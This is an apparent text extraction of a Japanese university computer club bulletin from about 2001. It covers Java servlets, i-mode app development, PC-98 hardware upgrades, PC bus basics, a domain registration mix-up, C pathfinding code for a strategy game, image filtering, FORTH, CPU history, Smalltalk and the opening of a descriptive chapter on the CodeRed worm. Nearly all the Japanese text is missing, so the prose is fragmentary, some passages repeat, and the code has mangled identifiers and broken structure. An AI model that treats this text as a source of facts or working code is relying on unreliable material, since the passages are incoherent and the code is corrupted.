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3 iii Lime Lime Lime Lime 2001 Lime Lime TEX

4 iv I Servlet II III IV V VI VII i A R PC PC ! SLG VIII IX X XI XII FORTH CPU XIII CodeRed/Nimda XIV XV XVI namazu XVII HTML

..................... 60 CPU.................................. 62............................ 64 XIII CodeRed/Nimda....................... 76 XIV............................ 83 XV.

5 1 I Servlet Servlet I.1 Servlet? WEB Java Web Java Applet Applet Servlet Applet Web Web Servlet Web Web CGI (Common Gateway Interface) CGI Web CGI Servlet Web Web Web Web. CGI Servlet CGI servlet

6 2 I Servlet I.2 Servlet Servlet CGI CGI Web Servlet 1 Web Java HTML HTML Cookie CGI OS Java Servlet OS Servlet Servlet Web Servlet I.3 Servlet Servlet JDK Tomcat JDK Java Development Kit Sun Microsystems 1.4 β Tomcat Servlet Container Servlet Container Web Java Web Servlet Web Servlet Web

7 I.4. 3 Apache Apache Sun Microsystems IBM Web Servlet Sun Microsystems Servlet Container Servlet Container Servlet Servlet Container FreeBSD # cd /usr/ports/java/jakarta-tomcat # make install Tomcat JDK Tomcat 1 /.cshrc set path = ($path /usr/local/jdk1.1.8/bin) setenv JAVA_HOME /usr/local/jdk1.1.8 setenv CLASSPATH.:/usr/local/jdk1.1.8/lib/classes.zip:\ /usr/local/tomcat/lib/servlet.jar source /.cshrc Tomcat /usr/local/etc/rc.d/tomcat.sh start /usr/local/etc/rc.d/ tomcat.sh start I.4 2 Servlet Servlet 20 import java.io.*; import java.util.*; import javax.servlet.*; import javax.servlet.http.*; public class randstat extends HttpServlet { private static final int PHRASE_NUM = 20; private static final String PHRASE_DATA = "/usr/local/tomcat/webapps/root/web-inf/classes/data/"; 1 JDK1.1.8 JDK1.2.2 JDK1.3.1 JDK W1H Who, When, Where, What, Why How

$*; public class randstat extends HttpServlet { private static final int PHRASE_NUM = 20; private static final String PHRASE_DATA = "/usr/local/tomcat/webapps/root/web-inf/classes/data/"; 1 JDK1.1.8 JDK1.$

8 4 I Servlet // public void doget(httpservletrequest request, HttpServletResponse response) throws ServletException, IOException { response.setcontenttype("text/html; charset=euc-jp"); // HTML PrintWriter out = response.getwriter(); // String doctype = "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\n"; out.println(doctype + "<HTML>\n" + "<HEAD><TITLE>RANDOM STATEMENT</TITLE></HEAD>\n" + "<BODY>\n" + makesentence() + "</BODY></HTML>"); // HTML public String makesentence() { String sentence = new String(); String filename = new String(); Random random = new Random(System.currentTimeMillis()); // Vector phrase = new Vector(); for(int i=1;i<=phrase_num;i++) { int index; filename = PHRASE_DATA + Integer.toString(i); // 1 PHRASE_NUM try { BufferedReader instream = new BufferedReader(new FileReader(fileName)); // while(instream.ready()) phrase.addelement(instream.readline()); // index = random.nextint(); index %= phrase.size(); index *= (index<0)? -1 : 1; // sentence += (String)phrase.elementAt(index); // phrase.removeallelements(); // instream.close(); catch(ioexception err) { sentence = "Error occured!"; sentence += "\n"; random = null; phrase = null; return sentence; Servlet randstat.java Java

$println(doctype + "<HTML>\n" + "<HEAD><TITLE>RANDOM STATEMENT</TITLE></HEAD>\n" + "<BODY>\n" + makesentence() + "</BODY></HTML>"); // HTML public String makesentence() { String sentence = new$

9 I.5. 5 randstat.class /usr/local/tomcat/webapps/root/web-inf/classes /usr/local/tomcat/webapps/root/web-inf/classes/data randstat I.5 HTML Servlet JSP Java Server Pages randstat2.html randstat.jsp <FORM> ACTION Servlet URL /servlet/servletname Servlet <INPUT> randstat2.html <HTML> <HEAD><TITLE>RANDOM STATEMENT with JSP</TITLE></HEAD> <BODY> <CENTER> <BR><BR><FONT SIZE= "+1"><b>RANDOM STATEMENT</B></FONT><BR> <FORM ACTION = "/servlet/randstat2"><br> <INPUT TYPE = "text" NAME = "yourname"> </FORM> </CENTER> </BODY> </HTML> <INPUT TYPE = "submit" VALUE = "!">

jsp <FORM> ACTION Servlet URL http:// /servlet/servletname Servlet <INPUT> randstat2.

10 6 I Servlet JSP HTML Servlet <% out.println(request.getattribute("myresponse").tostring()); %> 3 HTML HTML Servlet Servlet randstat2.jsp <%@ page contenttype="text/html" %> <HTML> <HEAD><TITLE>RANDOM STATEMENT with JSP: output</title></head> <BODY> <CENTER><BR><BR> <FONT SIZE = "+1"><B>Generated sentence is<br><br> <% out.println(request.getattribute("myresponse").tostring()); %> </B></FONT><BR><BR> <A HREF="/randstat2.html">back</A> </CENTER> </BODY> </HTML> Servlet HTML 3 getattribute() Servlet

jsp <%@ page contenttype="text/html" %> <HTML> <HEAD><TITLE>RANDOM STATEMENT with JSP: output</title></head> <BODY>

11 I.6. 7 randstat2.java import java.io.*; import java.util.*; import javax.servlet.*; import javax.servlet.http.*; public class randstat2 extends HttpServlet { public static final int PHRASE_NUM = 20; public static final String PHRASE_DATA = "/usr/local/tomcat/webapps/root/web-inf/classes/data/"; public void doget(httpservletrequest request, HttpServletResponse response) throws ServletException, IOException { response.setcontenttype("text/html; charset=euc-jp"); // HTML EUC String sentence = request.getparameter("yourname") + " "; // request.getparameter(" ") sentence += makesentence() // sentence request.setattribute("myresponse", sentence); // myresponse sentence getservletconfig().getservletcontext(). getrequestdispatcher("/randstat2.jsp").forward(request, response); // Servlet request Servlet response /randstat2.jsp public String makesentence() { randstat2.java randstat2.class /usr/local/tomcat/webapps/root/web-inf/classes randstat2.html randstat2.jsp /usr/local/tomcat/webapps/ ROOT randstat2.html JDK Tomcat Windows Windows I.6 6 DDR-SDRAM 4 Athlon 1GHz 3 Crusoe CASSIOPEIA FIVA MPC-206 Crusoe 4 256MB

doget(httpservletrequest request, HttpServletResponse response) throws ServletException, IOException { response.setcontenttype("text/html; charset=euc-jp"); // HTML EUC String sentence = request.

12 8 I Servlet LongRun FreeBSD 5 8 SiS735 ATA 6 10 AMD AthlonXP Web 7 5 FreeBSD PRESS vol.6 FreeBSD 6 B 10 send-pr 7 7 6

13 9 II i i CM i i i II.1 i i i-mode II.1.1 i-mode NTT DoCoMo i-mode 501i HYPER i i-mode MIDI (MLD) i-mode ( 300 ) 3 ( ) i i i ( ) i-mode

14 10 II i II.1.2 i i i-mode 503i i II.2 II.2.1 i? i-mode i-mode CGI i CGI i-mode i II.2.2 i 503i imenu i i i Java i i 100 / 200 / ( 20 ) i i II.2.3 i i 2 i

15 II.3. i 11 II.1: i II.3 i i i II.3.1 API ( ) GIF PNG API MLD MLD ON/OFF 0 9 2

16 12 II i II.2: i II.3: i II.3.2 HTTP HTTP HTTPS(SSL) i SSL i 5KB( ) i i i i i

17 II.4. i 13 II.4 i i II.4.1 i P2P HTTP HTTPS II KB i jar i MLD jar II.4.3 i i i i Java i i i WEB II.5 503i P503i P503iS F503i SONY SO503i NEC N503i D503i

5 503i 2001 5 14 6 P503i P503iS F503i SONY

18 14 II i SO503i N503iD503i F503i P503iS P503i i i F503i ( 300KB ) D503i P503iS 10 P503i 7 N503i SO503i 5 10 ( 50KB ) i 1 10KB API YES/NO P503i D503i II.4: YESNO D503i II.5: YESNO P503i

19 II.6. i 15 II.6: YESNO SO503i P503i D503i i N503i D503i N503i i II.6 i ( ) SSL i

20 16 II i II.7 i i Java i Java II.7.1 Java? Java (Sun) Java CGI Java C C++ Java JavaVM Java JavaVM(Java ) Java Java API Java OS Windows Macintosh UNIX Internet Explorer Netscape PDA II.7.2 Java Java Java Java2

21 II.7. i 17 J2EE ( ) J2SE ( ) J2ME ( ) CDC ( ) CLDC ( ) MIDP DoJa JavaAppli(J-Phone Java) ezplus (au Java) i Java2 JDK(Java Development Kit) J2EE J2SE J2ME 3 J2EE Java Java J2SE (Java2 Standard Edition) Java Windows MacOS Linux OS J2ME (Java2 Micro Edition) J2ME CDC (Connected Device Configuration) CLDC (Connected Limited Device Configuration) 2 PDA 32 CPU PDA CPU CLDC JavaVM KVM(Kilo Virtual Machine) i J2ME CLDC CLDC J2ME CPU CLDC DoJa MIDP DoJa NTT DoCoMo i MIDP J-Phone au MIDP (Mobile Information Device Profile) DoJa (i MIDP Java (JCP:Java Community Process) J2ME/CLDC J-Phone au Java ( ) Java ) NTT DoCoMo CLDC MIDP i J2ME/CLDC DoJa 2 API

22 18 II i II.7: JavaVM II.8 i i Windows II.8.1 JDK Java JDK1.3 Java MS-DOS Windows 98/Me c:yautoexec.bat PATH=%PATH%;c:Yjdk1.3Ybin Windows 2000 Path c:yjdk1.3ybin JDK1.3

23 II II.8: win98 II.8.2 i II.9: iappli-fan i test i MS DOS makeiappli test A.java A.java [ ].java java c.bat i.bat iappli 3 FTP WEB i

24 20 II i i II.10: MS-DOS II.8.3 i.bat 3 test.jar test.jam test.html Java (JAR) Java GIF 10KB(10240 ) ADF(Application Descriptor File) i JAM Java Application Manager i ( 16 ) [ ]=[ ] i i i HTML i-mode i II.8.4 NTTDoCoMo J2ME Wireless SDK for the DoJa (DoJa SDK) Zentek i-jade Lite i Tool GADek UNI iemulator

25 II II.11: test JDK1.3 DoJa i J2ME/CLDC JDK1.3 J2ME/CLDC ( ) DoJa SDK i (i-jade ) GADek i Tool tz2s-nsmr/ Mocha

26 22 II i II.12: JAM + (i-jade ) iappide ishuriken i-jade Lite iemulator Java JBuilder4 Forte for Java

27 23 III A R ( ) NEC PC Windows2000 NEC PC-9800 : NEC PC-9800 ( ) NEC PC PC-98 Windows2000 ( ) PC-98 4 ( ) ( )

28 24 III A R III.1 PC-9821Xa16/W30 : : : : III.2 : : : 128MB : Web : vertexm/ Vertex Memory Vertex Link : Mac 256MB Y31,800 : 512MB : ( 4)

29 III.3. HDD 25 III.3 HDD : HDD Ultra-SCSI : 5 4.3GB HDD : SCSI HDD : SCSI-HDD : : : AEC-7720UW ATA HDD UW-SCSI ( ) : HDD : : Y8,000 : : : III.4 CPU : Windows K6-2+/400MHz : PC-98 K6-III+ 600MHz K6 6 : : NV4

30 26 III A R : : ( HK6-NV4 CPU CPU : Y9,800 HDD : K6-III+ : III.5 : ( ) : Windows2000 : WindowsNT AT AGP PCI GeForce2MX400 : HardwareT&L nvidia PCI C0000h-D7FFFh Matrox BIOS BIOS-ROM : ( 4) : III.6

31 III : : : : Windows2000 AT : DispFlip : asmpwx/down/download.htm dispflip.reg Start 2 STMD 1 : 6 tyattu PCI PC-9821 PC-9821Xa16/W30

32 28 IV PC IV.1 DARK KINGDOM 2 ( DK2) RPG RPG 2D 3D RPG PC PC RPG IV.2 DK2 NPC

33 IV DK2 1 IV.3 IV.4? DK2 IV.5 700!

34 30 IV PC IV.6 GO!GO!GO! TRPG + + IV

35 IV IV IV.9 NPC NPC ADV NPC NPC

36 32 IV PC IV.10 DK2 DK2

37 IV : :? : :? : : : : : : : :? : :? :? :? : :? : : :? :? : :? : : : : : : : :? :? : :

38 34 V PC V.1 PC ( ) B/s(Bps) Bite per second b/s(bps) bit per second ( ) V.2 2 (serial transfer) 1bit 1 (parallel transfer) 1 1 RS-232C ( ) USB IEEE1394 ( PC SCSI HDD CPU ( )

39 V.3. GoGo!! 35 ) V.3 GoGo!! Hz x1 1 = (bit)x (Hz)= (bps) V.4 IDE, ATA, ATAPI IDE IDE(Integrated Device Electronics) ( HDD) 1 IDE MB HDD 46cm 93 Western Digital IDE E-IDE(Enhanced-IDE) 1 PC 2 4 8GB IDE E-IDE ANSI(American National Standard Institute: ) ATA(AT Attachment) ATA-2 ATA-3 ATA-4 E-IDE E-IDE ATAPI(AT Attachment Packet Interface) CD-ROM IDE 33MB/s Ultra ATA/33(Ultra DMA/33) Ultra ATA/66 UltraATA/ MB/s Ultra ATA/133(Ultra DMA/133) Ultra ATA IDE 120ns 8.3MHz 16 16MB/s 1 2 Ultra ATA/33 Ultra ATA/66 (100??) V.5 PC? CPU

40 36 V PC (control bus)cpu ( : ) 4bit (address bus) 32 4GB (deta bus) CPU 1001 CPU CPU CPU V.6 CPU 100MHz64bit 0.8GBps HDD 0.1GBps? PC PC PC CPU CPU CPU CPU CPU HDD CPU (HDD ) 1 (noth bridge) (south bridge) 2 ( 1 CPU )

41 V ( ) ( ) V.6.1 (system controler) (host controler) CPU AGP(Accelerated Graphics Port) PCI(Peripheral Component Interconnect) AGP -PCI DRAM AGP AGP 32 AGP 32 AGP AGP 66MHz AGP 66MHz 2x(133MHz) 4x(266MHz) 8x(533MHz)( 2GBps) -PCI CPU (CPU) PCI 64bit100MHz PCI 32bit33MHz(64bit66MHz) -PCI CPU -PCI PCI PCI DRAM CPU 2 CPU AGP CPU PCI V.6.2 IDE USB DMA PCI-ISA ISA(Industry Standard Architecture) IBM PC/AT 16bit 8MHz 4MB/s ISA PCI-ISA PCI ISA

42 38 V PC IDE IDE HDD CD USB USB IRQ Interrupt ReQuest) DMA CPU CPU DMA(Direct Memory Access) V.7 PC PCI 3GIO(3rd Generation I/O) 3GIO OS PCI / PCI 100% 3GIO 10Gbit/sec Intel 3GIO

43 V ATA sirialata/1500 User ATA UltraATA/133 V.8 CPU CPU 4 10 V.9 PC DOS/V POWER REPORT 7 1 DOS/V POWER REPORT 6 DOS/V POWER REPORT 9 DOS/V POWER REPORT 11

44 40 VI! VI.1 CATV 1 PC otsu-city.com, biwaco.com, auaua.jp 3 COM, NET, ORG 1 $35 dotster ( 1 $15 DNS DynDNS ( dotster JP 1 7,000 4,500 DOMAIN-21 ( 1 4,500 otsu-city.com VI.2 Network Solutions Inc. ( ( NSI)

45 VI DOMAIN BANK Inc. ( NSI VI.3 otsu-city.com WHOIS! Administrative Contact, Billing Contact, Technical Contact! DOMAIN BANK WEB Administrative Contact otsu-city.com Administrative Contact WEB! VI.4... DOMAIN BANK Hello. I am really confused and in trouble, so please help me... The other day, I ve registered a domain name otsu-city.com and I thought everything was alright. but I found I made a big mistake. Well, I have a valid address, ohmisan@mx.cable-net.ne.jp, but when I registered, I ve done the contact address was ohmisan@otsu-city.com, and you know this is an invalid address at this time. (unfortunately, I chose

46 42 VI! dns1.domainbank.net and dns2.domainbank.net as the primary and the secondary name server.) So, when I log in at and even if I want to change DNS RECORD and CONTACT RECORD and I logged in and clicked [DOMAIN MANAGER] -> [MODIFY DNS RECORD] or [MODIFY CONTACT RECORD].. and I went to Modify page, it says This change must be confirmed by . be sent to the following address: Confirmation will ohmisan@otsu-city.com I want to change this address to a valid one. should i do?? :-( What Anyway, I have changed [PROFILE MANAGER] s stuff, so on [DOMAIN MANAGER]->[ACCOUNT INFORMATION], it shows valid address. But I still have a problem... Thank you very much. I expect a suitable advice Debra Browning Profile Manager Change Form Admin WEB Administrative Contact ... Microsoft Word

47 VI Domain Name: Print Registrant (Owner): Print Current Administrative Contact Address: Print New Administrative Contact Address: Print 1. The undersigned hereby directs and authorizes Domain Bank to modify the record associated with the Domain Name listed above by changing the the address for the Administrative Contact from the current address listed above to the new address listed above. 2. Only the registrant (owner) of the Domain Name registration or the Administrative Contact for the Domain Name as reflected in the whois database on the date hereof may initiate a request to change the address of the Administrative Contact for the Domain Name. The undersigned hereby represents and warrants that he/she has the full and complete authority to initiate the modification requested hereby. Domain Bank, in its discretion, may require further documentation with respect to the foregoing representation. THE UNDERSIGNED IS THE (CHECK ONE) Registrant (Owner) of the Domain Name Current Administrative Contact for the Domain Name

48 44 VI! Signature: Title: Print Name: Address: Phone Number: Date: Notary COUNTY OF: STATE OF: The foregoing document was signed before me by (name of person being witnessed) on this date. Notary s Name (printed): Notary s Signature: Date of Notarization: My Commission Expires: Print Title

49 VI THE UNSIGNED IS THE(CHECK ONE) Registrant Current Administrative Contact Notary Notary Notary My Commission Expires Notary Notary DOMAIN BANK Title Notary Expire Date Debra VI.5 otsu-city.com ns.otsu-city.com DOMAIN BANK ns.otsu-city.com ns.otsu-city.com invalid NSI NSI registry ( FQDN IP FQDN IP NSI registry ns.otsu-city.com (IP ) Name Server Creation WEB Debra kitcc.org ns.kitcc.org 2 otsu-city.com! biwaco.com ns.otsu-city.com ns.kitcc.org VI.6... NIC 10BASE-T 600 NIC 3Com 3C905C-TX CATV DHCP IP NIC IP 3Com NIC IP ns.biwaco.com IP ns.biwaco.com otsu-city.com, biwaco.com ns.biwaco.com

50 46 VI! DOMAIN BANK ... Debra? Debra VI.7 NSI DOMAIN BANK Debra NSI ( ) DOMAIN BANK...

51 47 VII SLG VII.1 SLG simulation game strategy SLG tactics SLG VII.2 SLG VII.1 VII.1 5 5

52 48 VII SLG VII.1: VII.3 C Cell Cell north south east west GO COME cost VII.2

53 VII VII.2: Cell Cell C VII.4 C

54 50 VII SLG #define MAX WEIGHT (50000) #define COME (0) #define GO (1) #define SOUTHEAST (0) #define SOUTHWEST (1) #define NORTHWEST (2) #define NORTHEAST (3) typedef struct cell{ int north; int south; int east; int west; unsigned int cost; Cell; typedef struct point{ int x; int y; Point; typedef struct parameter{ int *map; Point max map; Point source; Parameter; int north(point* point, int max x){ return ((point->y - 1) * max x) + point->x; int south(point* point, int max x){ return ((point->y + 1) * max x) + point->x; int east(point* point, int max x){ return (point->y * max x) + point->x + 1; int west(point* point, int max x){ return (point->y * max x) + point->x - 1; int here(point* point, int max x){ return (point->y * max x) + point->x; int from north(cell result[], Parameter* parameter, Point* source){ return (result + north(source, parameter->max map.x))->cost + *(parameter->map + (source->y * parameter->max map.x) + source->x); int from south(cell result[], Parameter* parameter, Point* source){ return (result + south(source, parameter->max map.x))->cost + *(parameter->map + (source->y * parameter->max map.x) + source->x); int from east(cell result[], Parameter* parameter, Point* source){ return (result + east(source, parameter->max map.x))->cost + *(parameter->map + (source->y * parameter->max map.x) + source->x); int from west(cell result[], Parameter* parameter, Point* source){ return (result + west(source, parameter->max map.x))->cost + *(parameter->map + (source->y * parameter->max map.x) + source->x); int cost(cell result[], Parameter* parameter, Point* source){ return (result + (source->y * parameter->max map.x) + source- >x)->cost; int set north(cell result[], Parameter* parameter, Point* source){ int here p; int north p; int now cost; int new cost; int ret; ret = 0; if(source->x >= 0 && source->x < parameter->max map.x && source->y >= 0 && source->y < parameter->max map.y){ here p = here(source, parameter->max map.x); north p = north(source, parameter->max map.x); now cost = cost(result, parameter, source); new cost = from north(result, parameter, source); if(source->y > 0){ if(new cost < now cost){ (result + here p)->north = COME; (result + north p)->south = GO; if(source->y < parameter->max map.y - 1){ (result + south(source, parameter->max >north = COME; if(source->x < parameter->max map.x - 1){ (result + east(source, parameter->max map.x))- map.x))- >west = COME; if(source->x > 0){ (result + west(source, parameter->max map.x))- >east = COME; (result + here p)->cost = new cost; ret++; else if(new cost == now cost && ((result + here p)->north == GO (result + north p)->south == COME)){ (result + here p)->north = COME; (result + north ret++; p)->south = GO; return ret; int set south(cell result[], Parameter* parameter, Point* source){ int here p; int south p; int now cost; int new cost; int ret; ret = 0; if(source->x >= 0 && source->x < parameter->max map.x && source->y >= 0 && source->y < parameter->max map.y){ here p = here(source, parameter->max map.x); south p = south(source, parameter->max map.x); now cost = cost(result, parameter, source); new cost = from south(result, parameter, source); if(source->y < parameter->max map.y - 1){ if(new cost < now cost){ (result + here p)->south = COME; (result + south p)->north = GO; if(source->y > 0){ (result + north(source, parameter->max map.x))- >south = COME; if(source->x < parameter->max map.x - 1){ (result + east(source, parameter->max map.x))- >west = COME; if(source->x > 0){ (result + west(source, parameter->max map.x))- >east = COME; (result + here p)->cost = new cost; ret++; else if(new cost == now cost && ((result + here p)->south == GO (result + south p)->north == COME)){ (result + here p)->south = COME; (result + south p)->north = GO; ret++; return ret; int set east(cell result[], Parameter* parameter, Point* source){ int here p; int east p; int now cost; int new cost; int ret; ret = 0; if(source->x >= 0 && source->x < parameter->max map.x && source->y >= 0 && source->y < parameter->max map.y){ here p = here(source, parameter->max map.x); east p = east(source, parameter->max map.x); now cost = cost(result, parameter, source); new cost = from east(result, parameter, source); if(source->x < parameter->max map.y - 1){ if(new cost < now cost){ (result + here p)->east= COME; (result + east p)->west = GO; if(source->y < parameter->max map.y - 1){ (result + south(source, parameter->max map.x))- >north = COME; if(source->y >= 0){ (result + north(source, parameter->max map.x))- >south = COME; if(source->x > 0){ (result + west(source, parameter->max map.x))- >east = COME; (result + here p)->cost = new cost; ret++; else if(new cost == now cost && ((result + here p)->east == GO (result + east p)->west == COME)){ (result + here p)->east = COME; (result + east p)->west = GO; ret++; return ret; int set west(cell result[], Parameter* parameter, Point* source){ int here p; int west p; int now cost; int new cost; int ret; ret = 0; if(source->x >= 0 && source->x < parameter->max map.x && source->y >= 0 && source->y < parameter->max map.y){ here p = here(source, parameter->max map.x); west p = west(source, parameter->max map.x); now cost = cost(result, parameter, source); new cost = from west(result, parameter, source); if(source->x > 0){ if(new cost < now cost){ (result + here p)->west = COME; (result + west p)->east = GO;

55 VII if(source->y < parameter->max map.y - 1){ (result + south(source, parameter->max map.x))- >north = COME; if(source->x < parameter->max map.x - 1){ (result + east(source, parameter->max map.x))- >west = COME; if(source->x > 0){ (result + north(source, parameter->max map.x))- >south = COME; (result + here p)->cost = new cost; ret++; else if(new cost == now cost && ((result + here p)->west == GO (result + west p)->east == COME)){ (result + here p)->west = COME; (result + west p)->east = GO; ret++; return ret; int set(cell result[], Parameter* parameter, Point* source){ int temp; int ret; ret = 0; ret += set north(result, parameter, source); ret += set south(result, parameter, source); ret += set east(result, parameter, source); ret += set west(result, parameter, source); return ret; int abs(int x){ if(x > 0){ return x; else{ return (-x); int max num(point* max map, Point* source){ int temp; temp = abs(0 - source->x) + abs(0 - source->y); if(temp < (abs(0 - source->x) + abs(max map->y source- >y))){ temp = abs(0 - source->x) + abs(max map->y - source->y); if(temp < (abs(max map->x source->x) + abs(0 - source- >y))){ temp = abs(max map->x source->x) + abs(0 - source- >y); if(temp < (abs(max map->x source->x) + abs(max map->y source->y))){ temp = abs(max map->x - source->x) + abs(max map->y source->y); return temp; void init result(cell result[], Point* max map, Point* source){ int i, j; for(i = 0; i < max map->y; i++){ for(j = 0; j < max map->x; j++){ (result + (i * max map->x) + j)->cost = MAX WEIGHT; (result + (i * max map->x) + j)->north = COME; (result + (i * max map->x) + j)->south = COME; (result + (i * max map->x) + j)->east = COME; (result + (i * max map->x) + j)->west = COME; (result + (source->y * max map->x) + source->x)->cost = 0; void set inc(int j, Point* inc){ switch(j){ case SOUTHEAST : inc->x = 1; inc->y = 1; break; case SOUTHWEST : inc->x = -1; inc->y = 1; break; case NORTHWEST : inc->x = -1; inc->y = -1; break; case NORTHEAST : inc->x = 1; inc->y = -1; break; void movement(cell result[], Parameter* parameter){ int num; int i, j, k; int flag; Point inc; Point temp; init result(result, &parameter->max map, &parameter->source); num = max num(&parameter->max map, &parameter->source); while(1){ for(i = 0; i < num; i++){ temp.y = parameter->source.y - i - 1; temp.x = parameter->source.x; flag = 0; for(j = 0; j < 4; j++){ set inc(j, &inc); for(k = 0; k < i + 1; k++){ flag += set(result, parameter, &temp); temp.y += inc.y; temp.x += inc.x; if(flag == 0){ break; int main(){ int map[25] = { 3, 3, 3, 5, 1, 1, 3, 3, 5, 1, 2, 2, 2, 5, 3, 1, 2, 2, 6, 2, 2, 4, 4, 4, 4 ; Cell result[25]; Parameter parameter; parameter.map = map; parameter.max map.x = 5; parameter.max map.y = 5; parameter.source.x = 0; parameter.source.y = 4; movement(result, &parameter);

56 52 VII SLG VII.5 movement VII.1 VII.1

57 53 VIII VIII.1 2 Laplacian 1 gradient (i, j) y 1 f x (i, j) f y (i, j) f x (i, j) = f(i + 1, j) + f(i, j) f y (i, j) = f(i, j + 1) f(i, j) (i, j) A f x (i, j) A B A B (i + 0.5, j) 1 2 x y 2 f xx (x, y) f yy (x, y) 2 f(x, y) = f xx (x, y) + f yy (x, y)

58 54 VIII (i, j) A A A A B A f x (A D) f y (B A) f x (A D) = f(i, j) f(i 1, j) f y (B A) = f(i + 1, j) f(i, j) A 1 f x (A B) f y (A B) A 2 y x y 2 f xx (i, j) f yy (i, j) f xx (i, j) = f y (B A) f x (A D) = f(i 1, j) 2f(i, j) + f(i + 1, j) f yy (i, j) = f(i, j 1) 2f(i, j) + f(i, j + 1) 2 2 f(i, j) = f xx (i, j) + f yy (i, j) = f(i, j 1) + f(i 1, j) 4f(i, j) + f(i + 1, j) + f(i, j + 1) g(i, j) 2 g(i, j) = f(i, j) 2 f(i, j) = f(i, j 1) f(i 1, j) + 5f(i, j) f(i + 1, j) f(i, j + 1) VIII

59 VIII f(i, j) F (u, v) H(u, v) G(u, v) G(u, v) = F (u, v)h(u, v) G(u, v) g(i, j)

60 56 IX FORTH IX.1 FORTH FORTH FORTH FORTH Fourth FORTH FORTH IX.2 LIFO( ) LIFO IX.3 C Pascal (1 + 2) * 3" *" FORTH MIND ( Web UNIX

61 IX.4. FORTH 57 GPL2 IX.4 FORTH FORTH FORTH FORTH FORTH ": ;" : FOO ; 9 : SQUARE DUP * ; FOO SQUARE. "+" 2 "*" 2 "DUP" "." IX.5 FORTH FORTH DO-LOOP, IF-THEN, BEGIN-UNTIL DO-LOOP IF-THEN BEGIN-UNTIL DO-LOOP "[ ] [ ] DO [ ] ([ ] +)LOOP" ( ) 10 0 DO I. LOOP "I" IF-THEN "[ ] IF [ ] (ELSE [

62 58 IX FORTH ] )THEN" : zero? 0 = IF." yes" ELSE." not zero" THEN ; zero? 0 -> yes 0 -> not zero 0 "yes" 0 "not zero" ( ) BEGIN-UNTIL "BEGIN [ [ UNTIL" : COUNT BEGIN DUP. 1 + DUP 10 = UNTIL ; 0 COUNT IX.6 FORTH FORTH FORTH Charles Moore FORTH Web

63 IX FORTH FORTH Forth

64 60 X Windows MS-DOS command.com UNIX B C

65 61

66 62 XI CPU XI.1 CPU CPU Central Processing Unit MPU(Micro Processing Unit) CPU PC ( ) ( ) XI.2 CPU CPU N CPU N (ALU) XI.3 CPU CPU CPU PGA(Pin Grid Array) 80286, i486 SPGA(Staggered Pin Grid Array) Cyrix, M PPGA(Plastic Pin Grid Array) MMX Pentium SECC(Single Edge Contact Cartridge) Pentium, Athlon SEPP(Single Edge Processor Package) Celeron SEPP2(Single Edge Processor Package) Pentium

67 XI.4. CPU 63 XI.4 CPU Intel CPU CPU 1971 Intel CPU MHz CPU MHz CPU PC-9801 CPU PC/AT IBM PC CPU IBM PC/AT CPU ( i386 ) CPU Windows 1989 i486(80486) CPU 1993 Pentium Pentium i586 5 Penta 1995 PC Pentium Pro 1997 MMX Pentium 1997 Pentium Pentium Celeron Pentium 2 CPU 1999 Pentium CPU Pentium SSE(Streaming SIMD Extensions) 3D 2000 Pentium 4 SSE2

68 64 XII XII.0 StandardML ConcurrentClean Smalltalk XII.1 XII.1.1 B. ( )

69 XII ( ) ( ) ( ) ( ) XII.1 XII.1.2 C++ CLOS Smalltalk

70 66 XII XII.1: Smalltalk ( )

71 XII XII.2 Smalltalk Smalltalk XII.2.1 Smalltalk Smalltalk Java (?) Smalltalk Smalltalk Smalltalk Smalltalk ( ) Smalltalk Smalltalk VisualWorks Smalltalk Sun Java Java Smalltalk Smalltalk Workspace ( ) Transcript XII.2.2 Smalltalk Smalltalk Xerox PARC ( ) Lisp ( ) Smalltalk Smalltalk-80 ObjectWorks VisualWorks VisualWorks cincom Disney Squeak

72 68 XII Smalltalk-80 Smalltalk-80 Apple Smalltalk(Apple Smalltalk-80 ) Smalltalk Smalltalk Smalltalk-80 IBM VisualAge for Smalltalk VisualAge Java Java Java Smalltalk A LittleSmalltalk A ( ) Smalltalk? Smalltalk PerfectTV Smalltalk Swiki Smalltalk Smalltalk XII.2.3 Smalltalk Smalltalk Smalltalk ( ) Smalltalk Object astring acounter

73 XII XII.2: Smalltalk := astring := This is a sample.. acounter := 0.. := Smalltalk astring acounter astring := This is a sample text.. acounter := 0. (1 to: (astring size)) do: [ : index (astring at: index) isseparator iftrue: [

74 70 XII acounter := acounter + 1 ]]. ˆaCounter acounter () astring size astring Smalltalk 1 to: astring 1 astring do: [] Smalltalk ( ) Lisp lambda Smalltalk-80 ( VisualWorks ) afactorial afactorial := [ :n (n = 0) iftrue: [1]. iffalse: [n * (afactorial value: (n - 1))]]. ˆaFactorial value: value: :n acounter 1 Smalltalk ( )?

75 XII class Smalltalk Smalltalk Smalltalk Object Object Smalltalk Object Behavior ClassDescription Object XII.2.4 Smalltalk Smalltalk True False iftrue iffalse MVC M V C GUI GUI ( )

76 72 XII XII.3: Smalltalk adddependent: removedependent: ( ) changed: (#something ) MVC XII.3

77 XII XII.4: XII.3.1 ( )?

78 74 XII XII.3.2 ( ˆˆ;) FP ( ) ( ) StandardML Lisp ( Lisp ) ( )? ( ) ( ) ( ) ( )

79 XII ( ) ( )? ( ) ( ) XII.3.3 F.P. Jr Smalltalk Smalltalk!! (Eiffel ) B. Objective-C P.J. IC

80 76 XIII CodeRed/Nimda XIII / CodeRed Nimda CodeRed Nimda XIII.2 CodeRed CodeRed Pepsi Mountain Dew 1 7 eeye Digital Security 1 Marc Maiffret 2 Microsoft Web Internet Information Server Internet Information Services IIS

81 XIII.3. CodeRed IIS 77 XIII.3 CodeRed IIS IIS Microsoft Internet Information Server Windows 2000 Indexing Service IIS ISAPI 1 idq.dll idq.dll IIS 1.ida Internet Data Queries.idq idq.dll URL idq.dll IIS Web URL IIS http (80) XIII.4 CodeRed IIS 2001 CodeRed CodeRed CodeRed 2 CodeRed CodeRed II CodeRed V1 CodeRed V2 I-Worm.Bady CodeRed CodeRed V3 CodeRed III CodeRed II XIII.5 CodeRed CodeRed HTTP HTTP CodeRed Web DoS

